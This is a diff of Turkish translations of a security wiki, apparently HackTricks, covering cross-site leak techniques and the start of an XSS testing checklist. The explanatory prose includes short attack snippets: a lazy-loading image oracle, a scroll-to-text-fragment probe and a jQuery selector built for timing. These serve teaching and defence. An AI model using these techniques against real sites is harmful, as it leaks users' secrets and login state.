`iframe` veya `window.open` aracılığıyla açılan bir webdeki **çerçeve sayısını** saymak, kullanıcının o sayfadaki **durumunu** belirlemeye yardımcı olabilir.\
|
||||
Ayrıca, sayfa her zaman aynı sayıda çerçeveye sahipse, çerçeve sayısını **sürekli** kontrol etmek, bilgi sızdırabilecek bir **deseni** belirlemeye yardımcı olabilir.
|
||||
Bir web sayfasında `iframe` veya `window.open` ile açılan **çerçeve sayısını** saymak, kullanıcının o sayfadaki **durumunu** belirlemeye yardımcı olabilir.\
|
||||
Ayrıca, eğer sayfada her zaman aynı sayıda çerçeve varsa, çerçeve sayısını **sürekli** kontrol etmek, bilgi sızdırabilecek bir **deseni** belirlemeye yardımcı olabilir.
|
||||
|
||||
Bu tekniğin bir örneği, Chrome'da bir **PDF**'nin **çerçeve sayımı** ile **tespit edilebilmesidir** çünkü dahili olarak bir `embed` kullanılır. `zoom`, `view`, `page`, `toolbar` gibi içeriği kontrol etmeye olanak tanıyan [Açık URL Parametreleri](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) vardır; bu teknik ilginç olabilir.
|
||||
Bu tekniğin bir örneği, Chrome'da bir **PDF**'nin **çerçeve sayımı** ile **tespit edilebilmesidir** çünkü dahili olarak bir `embed` kullanılır. `zoom`, `view`, `page`, `toolbar` gibi içeriği kontrol etmeye izin veren [Açık URL Parametreleri](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) vardır; bu teknik ilginç olabilir.
|
||||
|
||||
### HTMLElements
|
||||
|
||||
@ -682,27 +682,27 @@ Bu tekniğin bir örneği, Chrome'da bir **PDF**'nin **çerçeve sayımı** ile
|
||||
- **Summary:** İki olası durumu ayırt etmek için sızdırılan değeri okuyun.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
HTML elemanları aracılığıyla bilgi sızdırılması, özellikle dinamik medya dosyaları kullanıcı bilgilerine dayalı olarak oluşturulduğunda veya filigranlar eklendiğinde, medya boyutunu değiştirdiğinde web güvenliği açısından bir endişe kaynağıdır. Bu, belirli HTML elemanları tarafından açığa çıkan bilgileri analiz ederek olası durumları ayırt etmek için saldırganlar tarafından istismar edilebilir.
|
||||
HTML elemanları aracılığıyla bilgi sızdırılması, özellikle kullanıcı bilgilerine dayalı dinamik medya dosyaları oluşturulduğunda veya medya boyutunu değiştiren filigranlar eklendiğinde web güvenliği açısından bir endişe kaynağıdır. Bu, belirli HTML elemanları tarafından açığa çıkan bilgileri analiz ederek olası durumları ayırt etmek için saldırganlar tarafından istismar edilebilir.
|
||||
|
||||
### Information Exposed by HTML Elements
|
||||
### HTML Elemanları Tarafından Açığa Çıkan Bilgiler
|
||||
|
||||
- **HTMLMediaElement**: Bu eleman, medyanın `duration` ve `buffered` sürelerini açığa çıkarır; bunlara API'si aracılığıyla erişilebilir. [HTMLMediaElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: `videoHeight` ve `videoWidth` değerlerini açığa çıkarır. Bazı tarayıcılarda, `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` ve `webkitDecodedFrameCount` gibi ek özellikler mevcuttur; bu da medya içeriği hakkında daha derinlemesine bilgi sunar. [HTMLVideoElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Bu fonksiyon, video oynatma kalitesi hakkında bilgiler sağlar; `totalVideoFrames` gibi, işlenen video verisinin miktarını gösterebilir. [getVideoPlaybackQuality() hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Bu eleman, bir resmin `height` ve `width` değerlerini sızdırır. Ancak, bir resim geçersizse, bu özellikler 0 döner ve `image.decode()` fonksiyonu reddedilir; bu da resmin düzgün bir şekilde yüklenmediğini gösterir. [HTMLImageElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
- **HTMLImageElement**: Bu eleman, bir resmin `height` ve `width` değerlerini sızdırır. Ancak, bir resim geçersizse, bu özellikler 0 dönecek ve `image.decode()` fonksiyonu reddedilecektir; bu da resmin düzgün bir şekilde yüklenmediğini gösterir. [HTMLImageElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### CSS Property
|
||||
### CSS Özelliği
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||||
- **Summary:** Kullanıcının durumu veya statüsü ile ilişkili web sitesi stilindeki değişiklikleri belirleyin.
|
||||
- **Summary:** Kullanıcının durumu veya statüsü ile ilişkili web sitesi stilindeki değişiklikleri tanımlayın.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Web uygulamaları, kullanıcının durumuna bağlı olarak web sitesi stilini değiştirebilir. Saldırgan sayfasında **HTML link elemanı** ile çapraz kökenli CSS dosyaları gömülebilir ve **kurallar** saldırgan sayfasına **uygulanır**. Eğer bir sayfa bu kuralları dinamik olarak değiştirirse, bir saldırgan kullanıcı durumuna bağlı olarak bu **farklılıkları** **tespit edebilir**.\
|
||||
Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının **CSS** özelliklerini **okumak için** `window.getComputedStyle` yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, saldırgan keyfi CSS özelliklerini okuyabilir.
|
||||
Web uygulamaları, kullanıcının durumuna bağlı olarak **web sitesi stilini** değiştirebilir. Saldırgan sayfasında **HTML bağlantı elemanı** ile çapraz kökenli CSS dosyaları gömülebilir ve **kurallar** saldırgan sayfasına **uygulanır**. Eğer bir sayfa bu kuralları dinamik olarak değiştirirse, bir saldırgan, kullanıcı durumuna bağlı olarak bu **farklılıkları** **tespit** edebilir.\
|
||||
Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının CSS özelliklerini **okumak için** `window.getComputedStyle` yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, saldırgan keyfi CSS özelliklerini okuyabilir.
|
||||
|
||||
### CSS History
|
||||
### CSS Geçmişi
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
@ -711,13 +711,13 @@ Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının **CSS**
|
||||
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||||
|
||||
> [!NOTE]
|
||||
> [**Bu**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) kaynağa göre, bu başsız Chrome'da çalışmıyor.
|
||||
> [**Bu**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) kaynağına göre, bu başsız Chrome'da çalışmıyor.
|
||||
|
||||
CSS `:visited` seçici, daha önce kullanıcı tarafından ziyaret edilmiş URL'leri farklı şekilde stilize etmek için kullanılır. Geçmişte, bu stil farklılıklarını belirlemek için `getComputedStyle()` yöntemi kullanılabiliyordu. Ancak, modern tarayıcılar bu yöntemin bir bağlantının durumunu açığa çıkarmasını önlemek için güvenlik önlemleri uygulamıştır. Bu önlemler, bağlantının ziyaret edilmiş gibi her zaman hesaplanan stilin döndürülmesini ve `:visited` seçici ile uygulanabilecek stillerin kısıtlanmasını içerir.
|
||||
CSS `:visited` seçici, daha önce kullanıcı tarafından ziyaret edilmiş URL'leri farklı şekilde stilize etmek için kullanılır. Geçmişte, bu stil farklılıklarını belirlemek için `getComputedStyle()` yöntemi kullanılabiliyordu. Ancak, modern tarayıcılar, bu yöntemin bir bağlantının durumunu açığa çıkarmasını önlemek için güvenlik önlemleri uygulamıştır. Bu önlemler, bağlantının ziyaret edilmiş gibi görünmesini sağlamak ve `:visited` seçici ile uygulanabilecek stilleri kısıtlamak için her zaman hesaplanan stili döndürmeyi içerir.
|
||||
|
||||
Bu kısıtlamalara rağmen, bir bağlantının ziyaret edilmiş durumunu dolaylı olarak ayırt etmek mümkündür. Bir teknik, kullanıcıyı CSS'den etkilenen bir alanla etkileşime girmeye ikna etmeyi içerir; özellikle `mix-blend-mode` özelliğini kullanarak. Bu özellik, öğelerin arka planlarıyla karışmasını sağlar ve kullanıcı etkileşimine bağlı olarak ziyaret edilmiş durumu açığa çıkarabilir.
|
||||
|
||||
Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render sürelerini istismar ederek tespit sağlanabilir. Tarayıcılar, ziyaret edilmiş ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu render süresinde ölçülebilir bir zaman farkı oluşturabilir. Bir kanıt konsepti (PoC), bu tekniği zaman farkını artırmak için birden fazla bağlantı kullanarak gösteren bir Chromium hata raporunda belirtilmiştir; böylece ziyaret edilmiş durum zaman analizi ile tespit edilebilir.
|
||||
Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render sürelerini istismar ederek tespit sağlanabilir. Tarayıcılar, ziyaret edilmiş ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu render süresinde ölçülebilir bir zaman farkı ortaya çıkabilir. Bir kanıt konsepti (PoC), bu tekniği zaman farkını artırmak için birden fazla bağlantı kullanarak gösteren bir Chromium hata raporunda belirtilmiştir; böylece ziyaret edilmiş durum zaman analizi ile tespit edilebilir.
|
||||
|
||||
Bu özellikler ve yöntemler hakkında daha fazla bilgi için belgelerine göz atın:
|
||||
|
||||
@ -733,7 +733,7 @@ Bu özellikler ve yöntemler hakkında daha fazla bilgi için belgelerine göz a
|
||||
- **Summary:** Google Chrome'da, X-Frame-Options kısıtlamaları nedeniyle bir sayfanın çapraz kökenli bir sitede gömülmesi engellendiğinde özel bir hata sayfası görüntülenir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömüldüğünde, bir hata sayfası görünür. Chrome, bu nesnenin `contentDocument` özelliği için boş bir belge nesnesi (null yerine) döndürür; bu, iframe'lerde veya diğer tarayıcılarda farklıdır. Saldırganlar, boş belgeyi tespit ederek bunu istismar edebilir ve kullanıcının durumu hakkında bilgi açığa çıkarabilir; özellikle geliştiriciler X-Frame-Options başlığını tutarsız bir şekilde ayarladığında, genellikle hata sayfalarını göz ardı ederler. Güvenlik başlıklarının farkında olmak ve tutarlı bir şekilde uygulanması, bu tür sızıntıları önlemek için kritik öneme sahiptir.
|
||||
Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömüldüğünde, bir hata sayfası görünür. Chrome, bu nesnenin `contentDocument` özelliği için boş bir belge nesnesi (null yerine) döndürür; bu, iframe'lerde veya diğer tarayıcılarda olduğu gibi değildir. Saldırganlar, boş belgeyi tespit ederek bunu istismar edebilir ve kullanıcının durumu hakkında bilgi açığa çıkarabilir; özellikle geliştiriciler X-Frame-Options başlığını tutarsız bir şekilde ayarladıklarında, genellikle hata sayfalarını göz ardı ederler. Güvenlik başlıklarının farkında olmak ve tutarlı bir şekilde uygulanması, bu tür sızıntıları önlemek için kritik öneme sahiptir.
|
||||
|
||||
### Download Detection
|
||||
|
||||
@ -743,19 +743,19 @@ Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarla
|
||||
- **Summary:** Bir saldırgan, iframe'leri kullanarak dosya indirmelerini ayırt edebilir; iframe'in sürekli erişilebilirliği, dosya indirmenin başarılı olduğunu gösterir.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
|
||||
`Content-Disposition` başlığı, özellikle `Content-Disposition: attachment`, tarayıcıya içeriği görüntülemek yerine indirmesi talimatını verir. Bu davranış, bir kullanıcının dosya indirmesini tetikleyen bir sayfaya erişip erişmediğini tespit etmek için istismar edilebilir. Chromium tabanlı tarayıcılarda, bu indirme davranışını tespit etmek için birkaç teknik vardır:
|
||||
`Content-Disposition` başlığı, özellikle `Content-Disposition: attachment`, tarayıcıya içeriği çevrimiçi olarak görüntülemek yerine indirmesi talimatını verir. Bu davranış, bir kullanıcının dosya indirmesini tetikleyen bir sayfaya erişip erişmediğini tespit etmek için istismar edilebilir. Chromium tabanlı tarayıcılarda, bu indirme davranışını tespit etmek için birkaç teknik vardır:
|
||||
|
||||
1. **İndirme Çubuğu İzleme**:
|
||||
- Chromium tabanlı tarayıcılarda bir dosya indirildiğinde, tarayıcı penceresinin alt kısmında bir indirme çubuğu görünür.
|
||||
- Pencere yüksekliğindeki değişiklikleri izleyerek, saldırgan indirme çubuğunun görünümünü çıkarabilir; bu, bir indirmenin başlatıldığını gösterir.
|
||||
- Pencere yüksekliğindeki değişiklikleri izleyerek, indirme çubuğunun görünümünü çıkarabilirler; bu, bir indirmenin başlatıldığını gösterir.
|
||||
2. **Iframe ile İndirme Navigasyonu**:
|
||||
- Bir sayfa `Content-Disposition: attachment` başlığını kullanarak bir dosya indirmesini tetiklediğinde, bu bir navigasyon olayı oluşturmaz.
|
||||
- İçeriği bir iframe'de yükleyerek ve navigasyon olaylarını izleyerek, içerik durumunun bir dosya indirmesine neden olup olmadığını kontrol etmek mümkündür (navigasyon yok) veya olmadığını kontrol edebilirsiniz.
|
||||
- İçeriği bir iframe'de yükleyerek ve navigasyon olaylarını izleyerek, içerik durumunun bir dosya indirmesine neden olup olmadığını kontrol etmek mümkündür (navigasyon yok) veya olmadığını kontrol edebiliriz.
|
||||
3. **Iframe Olmadan İndirme Navigasyonu**:
|
||||
- Iframe tekniğine benzer şekilde, bu yöntem bir iframe yerine `window.open` kullanmayı içerir.
|
||||
- Yeni açılan penceredeki navigasyon olaylarını izlemek, bir dosya indirmenin tetiklenip tetiklenmediğini (navigasyon yok) veya içeriğin satır içi olarak görüntülenip görüntülenmediğini (navigasyon gerçekleşir) ortaya çıkarabilir.
|
||||
- Yeni açılan penceredeki navigasyon olaylarını izlemek, bir dosya indirmenin tetiklenip tetiklenmediğini (navigasyon yok) veya içeriğin çevrimiçi olarak görüntülenip görüntülenmediğini (navigasyon gerçekleşir) ortaya çıkarabilir.
|
||||
|
||||
Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği senaryolarda, bu teknikler kullanıcının kimlik doğrulama durumunu dolaylı olarak çıkarım yapmak için kullanılabilir.
|
||||
Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği senaryolarda, bu teknikler, tarayıcının indirme isteğine yanıtına dayanarak kullanıcının kimlik doğrulama durumunu dolaylı olarak çıkarabilir.
|
||||
|
||||
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||||
|
||||
@ -767,12 +767,12 @@ Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği s
|
||||
|
||||
> [!WARNING]
|
||||
> Bu tekniğin ilginç olmasının nedeni: Chrome artık **önbellek bölümlendirmesi** yapıyor ve yeni açılan sayfanın önbellek anahtarı: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`; ancak bir ngrok sayfası açıp içinde fetch kullanırsam, önbellek anahtarı: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)` olacaktır; **önbellek anahtarı farklıdır**, bu nedenle önbellek paylaşılmaz. Daha fazla ayrıntıyı burada bulabilirsiniz: [Önbelleği bölümlendirerek güvenlik ve gizlilik kazanma](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
> ([**buradan**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) yapılan yorum)
|
||||
|
||||
Eğer bir site `example.com`, `*.example.com/resource` adresinden bir kaynak içeriyorsa, o kaynak, kaynağın doğrudan **üst düzey navigasyon** ile talep edilmiş gibi **aynı önbellek anahtarına** sahip olacaktır. Çünkü önbellek anahtarı, üst düzey _eTLD+1_ ve çerçeve _eTLD+1_'den oluşur.
|
||||
|
||||
Önbelleğe erişim, bir kaynağı yüklemekten daha hızlı olduğundan, bir sayfanın konumunu değiştirmeyi ve durdurduktan 20ms (örneğin) sonra iptal etmeyi denemek mümkündür. Eğer durdurduktan sonra köken değiştiyse, bu, kaynağın önbelleğe alındığı anlamına gelir.\
|
||||
Ya da sadece **önbelleğe alınmış sayfaya bazı fetch'ler gönderip geçen süreyi ölçebilirsiniz**.
|
||||
Önbelleğe erişim, bir kaynağı yüklemekten daha hızlı olduğundan, bir sayfanın konumunu değiştirmeyi ve durdurduktan sonra 20ms (örneğin) sonra iptal etmeyi denemek mümkündür. Eğer durdurduktan sonra köken değiştiyse, bu, kaynağın önbelleğe alındığı anlamına gelir.\
|
||||
Ya da sadece **potansiyel olarak önbelleğe alınmış sayfaya bazı fetch'ler gönderip geçen süreyi ölçebilirsiniz**.
|
||||
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
@ -799,7 +799,7 @@ _**fetch**_ ve _**setTimeout**_ kullanarak bir **AbortController** ile hem **kay
|
||||
- **Inclusion Methods**: HTML Elemanları (script)
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** Yerleşik fonksiyonları **aşırı yazmak** ve bunların argümanlarını okumak mümkündür; bu, **çapraz kökenli script**'ten bile (doğrudan okunamaz) değerli bilgileri **sızdırabilir**.
|
||||
- **Summary:** Yerleşik fonksiyonları **aşırı yazmak** ve bunların argümanlarını okumak mümkündür; bu, **çapraz kökenli script**'lerden bile (doğrudan okunamaz) değerli bilgileri **sızdırabilir**.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
@ -812,7 +812,7 @@ _**fetch**_ ve _**setTimeout**_ kullanarak bir **AbortController** ile hem **kay
|
||||
|
||||
Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içinde bir **service worker** kaydetme girişiminde bulunur. Ardından, saldırgan ana belgede hedef web sitesinde yeni bir pencere açar ve **service worker**'a bir zamanlayıcı başlatmasını talimatını verir. Yeni pencere yüklenmeye başladığında, saldırgan önceki adımda elde edilen referansı **service worker** tarafından yönetilen bir sayfaya yönlendirir.
|
||||
|
||||
Önceki adımda başlatılan isteğin gelmesiyle, **service worker** **204 (No Content)** durum kodu ile yanıt verir ve navigasyon sürecini etkili bir şekilde sonlandırır. Bu noktada, **service worker** daha önce ikinci adımda başlatılan zamanlayıcıdan bir ölçüm alır. Bu ölçüm, navigasyon sürecinde gecikmelere neden olan JavaScript'in süresinden etkilenir.
|
||||
Önceki adımda başlatılan isteğin gelmesiyle, **service worker** **204 (No Content)** durum kodu ile yanıt verir ve navigasyon sürecini etkili bir şekilde sonlandırır. Bu noktada, **service worker** daha önce başlatılan zamanlayıcıdan bir ölçüm alır. Bu ölçüm, JavaScript'in navigasyon sürecinde neden olduğu gecikmelerin süresinden etkilenir.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir yürütme zamanlamasında, **daha hassas ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce sayfanın kullandığı kaynakları yükleyerek.
|
||||
@ -836,7 +836,7 @@ Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içi
|
||||
|
||||
## With HTML or Re Injection
|
||||
|
||||
Burada, çapraz kökenli HTML'den bilgi sızdırma tekniklerini bulabilirsiniz; **HTML içeriği enjekte etme**. Bu teknikler, herhangi bir nedenle **HTML enjekte edebiliyorsanız ancak JS kodu enjekte edemiyorsanız** ilginçtir.
|
||||
Burada, **HTML içeriği enjekte ederek** çapraz kökenli bilgileri dışa aktarmak için teknikler bulabilirsiniz. Bu teknikler, herhangi bir nedenle **HTML enjekte edebiliyorsanız ancak JS kodu enjekte edemiyorsanız** ilginçtir.
|
||||
|
||||
### Dangling Markup
|
||||
|
||||
@ -846,21 +846,21 @@ Burada, çapraz kökenli HTML'den bilgi sızdırma tekniklerini bulabilirsiniz;
|
||||
|
||||
### Image Lazy Loading
|
||||
|
||||
Eğer **içeriği sızdırmanız** gerekiyorsa ve **sırrın öncesine HTML ekleyebiliyorsanız**, **yaygın dangling markup tekniklerini** kontrol etmelisiniz.\
|
||||
Ancak, herhangi bir nedenle **her bir karakteri** (belki iletişim bir önbellek vuruşu ile) yapmanız **GEREKİYORSA**, bu hileyi kullanabilirsiniz.
|
||||
Eğer **içeriği dışa aktarmanız** gerekiyorsa ve **sırrın öncesine HTML ekleyebiliyorsanız**, **yaygın dangling markup tekniklerini** kontrol etmelisiniz.\
|
||||
Ancak, herhangi bir nedenle **HARF HARF** yapmanız **GEREKİYORSA** (belki iletişim bir önbellek vuruşu aracılığıyla) bu hileyi kullanabilirsiniz.
|
||||
|
||||
HTML'deki **resimler**, değeri "**lazy**" olan bir "**loading**" niteliğine sahiptir. Bu durumda, resim, sayfa yüklenirken değil, görüntülendiğinde yüklenecektir:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Bu nedenle, yapabileceğiniz şey **birçok gereksiz karakter eklemek** (örneğin **binlerce "W"**) ve **sayfayı gizli olanın önüne doldurmak veya şuna benzer bir şey eklemek** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Örneğin, eğer **enjeksiyonumuz bayraktan önce görünüyorsa**, **görüntü** **yüklenir**, ancak **bayraktan sonra** görünüyorsa, bayrak + gereksiz karakter **yüklenmesini engelleyecektir** (ne kadar gereksiz karakter ekleyeceğinizle oynamanız gerekecek). Bu, [**bu yazıda**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) olan şeydir.
|
||||
Bu nedenle, yapabileceğiniz şey, **gizli bilgiden önce web sayfasını doldurmak için çok sayıda gereksiz karakter eklemek** (örneğin **binlerce "W"**) veya **şuna benzer bir şey eklemek** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Örneğin, eğer **enjeksiyonumuz bayraktan önce görünüyorsa**, **görüntü** **yüklenir**, ancak **bayraktan sonra** görünüyorsa, bayrak + gereksiz karakterler **yüklenmesini engelleyecektir** (ne kadar gereksiz karakter ekleyeceğinizle oynamanız gerekecek). Bu, [**bu yazıda**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) olan şeydir.
|
||||
|
||||
Başka bir seçenek, **izin verilirse scroll-to-text-fragment** kullanmaktır:
|
||||
|
||||
#### Scroll-to-text-fragment
|
||||
|
||||
Ancak, **botun sayfaya erişmesini** sağlarsınız, bir şeyle gibi
|
||||
Ancak, **botun sayfaya erişmesini** sağlarsınız, bununla birlikte bir şey gibi
|
||||
```
|
||||
#:~:text=SECR
|
||||
```
|
||||
@ -868,13 +868,13 @@ Web sayfası şöyle bir şey olacak: **`https://victim.com/post.html#:~:text=SE
|
||||
|
||||
Burada post.html, saldırganın gereksiz karakterlerini ve tembel yükleme görüntüsünü içerir ve ardından botun sırrı eklenir.
|
||||
|
||||
Bu metin, botun sayfadaki `SECR` metnini içeren herhangi bir metne erişmesini sağlayacaktır. Bu metin sırdır ve **görüntünün hemen altında** yer almaktadır, **gizli kelime doğru tahmin edilirse görüntü yalnızca yüklenecektir**. Böylece, **sırrı karakter karakter dışarı sızdırmak için oracliniz var**.
|
||||
Bu metin, botun sayfadaki `SECR` metnini içeren herhangi bir metne erişmesini sağlayacaktır. Bu metin sırdır ve **görüntünün hemen altında** yer almaktadır, **gizli kelime doğru tahmin edilirse görüntü yalnızca yüklenecektir**. Böylece, **sırrı karakter karakter dışarı sızdırmak için oracliniz** var.
|
||||
|
||||
Bunu istismar etmek için bir kod örneği: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
|
||||
### Görüntü Tembel Yükleme Zamanı Tabanlı
|
||||
### Görüntü Tembel Yükleme Zamanına Dayalı
|
||||
|
||||
Eğer **bir dış görüntüyü yüklemek mümkün değilse**, bu, saldırgana görüntünün yüklendiğini gösterebilir, başka bir seçenek ise **karakteri birkaç kez tahmin etmeye çalışmak ve bunu ölçmektir**. Eğer görüntü yüklenirse, tüm istekler görüntü yüklenmediğinde olduğundan daha uzun sürecektir. Bu, [**bu yazının çözümünde**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **özetlenmiştir:**
|
||||
Eğer **harici bir görüntüyü yüklemek mümkün değilse**, bu, saldırgana görüntünün yüklendiğini gösterebilir, başka bir seçenek ise **karakteri birkaç kez tahmin etmeye çalışmak ve bunu ölçmektir**. Eğer görüntü yüklenirse, tüm istekler, görüntü yüklenmediğinde olduğundan daha uzun sürecektir. Bu, [**bu yazının çözümünde**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **özetlenen** şeydir:
|
||||
|
||||
{{#ref}}
|
||||
event-loop-blocking-+-lazy-images.md
|
||||
@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
|
||||
|
||||
### CSS ReDoS
|
||||
|
||||
Eğer `jQuery(location.hash)` kullanılıyorsa, zamanlama yoluyla **bazı HTML içeriğinin var olup olmadığını** bulmak mümkündür, çünkü eğer `main[id='site-main']` seçici eşleşmiyorsa, **seçicilerin** geri kalanını kontrol etmesine gerek yoktur:
|
||||
Eğer `jQuery(location.hash)` kullanılıyorsa, zamanlama yoluyla **bazı HTML içeriğinin var olup olmadığını** bulmak mümkündür, çünkü eğer `main[id='site-main']` seçici eşleşmiyorsa, geri kalan **seçicileri** kontrol etmesine gerek yoktur:
|
||||
```javascript
|
||||
$(
|
||||
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
||||
|
||||
@ -1,28 +1,28 @@
|
||||
# XSS (Cross Site Scripting)
|
||||
|
||||
## Methodoloji
|
||||
## Methodology
|
||||
|
||||
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** yansıtılmadığını veya **JS** kodu tarafından **kullanılıp** kullanılmadığını kontrol edin.
|
||||
2. **Yansıtıldığı/kullanıldığı bağlamı** bulun.
|
||||
3. Eğer **yansıtılmışsa**
|
||||
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
|
||||
1. **Ham HTML'de**:
|
||||
1. **ham HTML** içinde:
|
||||
1. Yeni HTML etiketleri oluşturabilir misiniz?
|
||||
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
|
||||
3. Koruma önlemlerini aşabilir misiniz?
|
||||
3. Koruma mekanizmalarını aşabilir misiniz?
|
||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
|
||||
5. JS kodu yürüten HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
|
||||
2. Bir **HTML etiketinin** içinde:
|
||||
1. Ham HTML bağlamına çıkabilir misiniz?
|
||||
2. JS kodunu yürütmek için yeni olaylar/nitelikler oluşturabilir misiniz?
|
||||
2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
|
||||
3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
|
||||
4. Koruma önlemlerini aşabilir misiniz?
|
||||
4. Koruma mekanizmalarını aşabilir misiniz?
|
||||
3. **JavaScript kodunun** içinde:
|
||||
1. `<script>` etiketini kaçırabilir misiniz?
|
||||
2. Dizeyi kaçırabilir ve farklı JS kodu yürütebilir misiniz?
|
||||
3. Girdileriniz şablon literalleri \`\` içinde mi?
|
||||
4. Koruma önlemlerini aşabilir misiniz?
|
||||
4. Javascript **fonksiyonu** **yürütülüyor**:
|
||||
2. Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
|
||||
3. Girdiğiniz değer şablon literalleri \`\` içinde mi?
|
||||
4. Koruma mekanizmalarını aşabilir misiniz?
|
||||
